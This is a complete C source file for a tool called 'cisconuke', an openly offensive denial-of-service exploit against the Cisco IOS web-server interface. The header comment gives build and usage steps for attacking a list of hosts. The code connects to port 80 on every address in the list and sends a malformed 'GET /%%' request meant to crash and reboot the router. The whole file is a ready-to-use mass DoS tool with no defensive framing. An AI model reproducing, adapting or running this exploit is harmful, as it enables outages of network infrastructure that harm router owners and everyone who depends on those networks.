/* 
        -   PRIVATE        Do NOT distribute       PRIVATE   -

   Cisco IOS deficiency (web-server interface) allows an arbitrary
   router to be rebooted.

   1. Create an IP address list (or hostnames).
   2. gcc -o cisconuke cisconuke.c
   3. ./cisconuke ip-address-list
   4. If the target's a Cisco with open TCP/80, it goez b00m.

   We use a timeout because, in the event that a host resolves but is
   down, waiting for ETIMEDOUT would slow your DOSing down. Adjust if
   necessary (slow links etc).

   Comment out the VERBOSE #define if you don't want to see what's 
   happening.
 */  

#define VERBOSE
#define TIMEOUT               10

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#include <setjmp.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>

sigjmp_buf env;

u_long
resolve_host(u_char *host)
{
    struct in_addr addr;
    struct hostent *host_ent;

    if ((addr.s_addr = inet_addr(host)) == -1)
    {
        host_ent = gethostbyname(host);
        if (!host_ent) return((u_long)0);
        memcpy((char *)&addr.s_addr, host_ent->h_addr, host_ent->h_length);
    }

    return(addr.s_addr);
}

void 
net_timeout(void)
{
    alarm(0);
    siglongjmp(env, 1);
}

int
nuke_cisco(u_long dst_ip)
{
    struct sockaddr_in sin;
    u_char crash[] = "GET /\%\%\n\n";
    int sock;

    alarm (0);
    
    sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (sock == -1)
    {
        perror("socket allocation");
        exit(-1);
    }

    sin.sin_family = AF_INET;
    sin.sin_port   = htons(80);
    sin.sin_addr.s_addr = dst_ip;

    if (sigsetjmp(env, 1))
    {
        /* Timeout. */
        close(sock);
        return(-1);
    }

    alarm(TIMEOUT);
    signal(SIGALRM, (void *)net_timeout);
    
    if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) == -1)
    {
        close(sock);
        return(-1);
    }

    alarm (0);
    
    if (write(sock, crash, strlen(crash)) != strlen(crash))
    {
        close(sock);
        fprintf(stderr, "\nWarning: truncated write()\n");
        return(-1);
    }
    
    close(sock);
    return(0);
}
        
int
main(int argc, char **argv)
{
    FILE *filez;
    struct in_addr addr;
    u_long dst_ip    = 0;
    u_char host[255] = {0};
    int nuked = 0, notnuked = 0;
    
    if (argc != 2)
    {
        fprintf(stderr, "\nusage:\t%s ip_list\n\n", argv[0]);
        exit(-1);
    }

    filez = fopen(argv[1], "r");
    if (!filez)
    {
        fprintf(stderr, "Can't open IP address list file.\n");
        exit(-1);
    }

    while (fgets(host, sizeof(host) - 1, filez) > 0)
    {
        host[strlen(host) - 1] = 0;
        host[strlen(host)    ] = 0;

        dst_ip = resolve_host(host);
        if (dst_ip)
        {
#ifdef VERBOSE
            addr.s_addr = dst_ip;
            fprintf(stderr, "Resolved host `%s`, killing.. ", inet_ntoa(addr));
#endif /* VERBOSE */

            if (!nuke_cisco(dst_ip))
            {
#ifdef VERBOSE
                fprintf(stderr, "success.\n");
                nuked++;
#endif /* VERBOSE */
            }
            else
            {
#ifdef VERBOSE
                fprintf(stderr, "can't connect to TCP/80\n");
                notnuked++;
#endif /* VERBOSE */
            }
        }
        else
        {
#ifdef VERBOSE
            fprintf(stderr, "Can't resolve %s\n", host);
            notnuked++;
#endif /* VERBOSE */
        }

        memset(host, 0, sizeof(host));
    }
    
    fprintf(stderr, "\nCompleted run:\n"
            "Obtained a successful connection and sent crash: %d hosts.\n"
            "No connection to port 80 or cannot resolve: %d hosts.\n\n",
            nuked, notnuked);
    exit(0);
}

/* EOF */
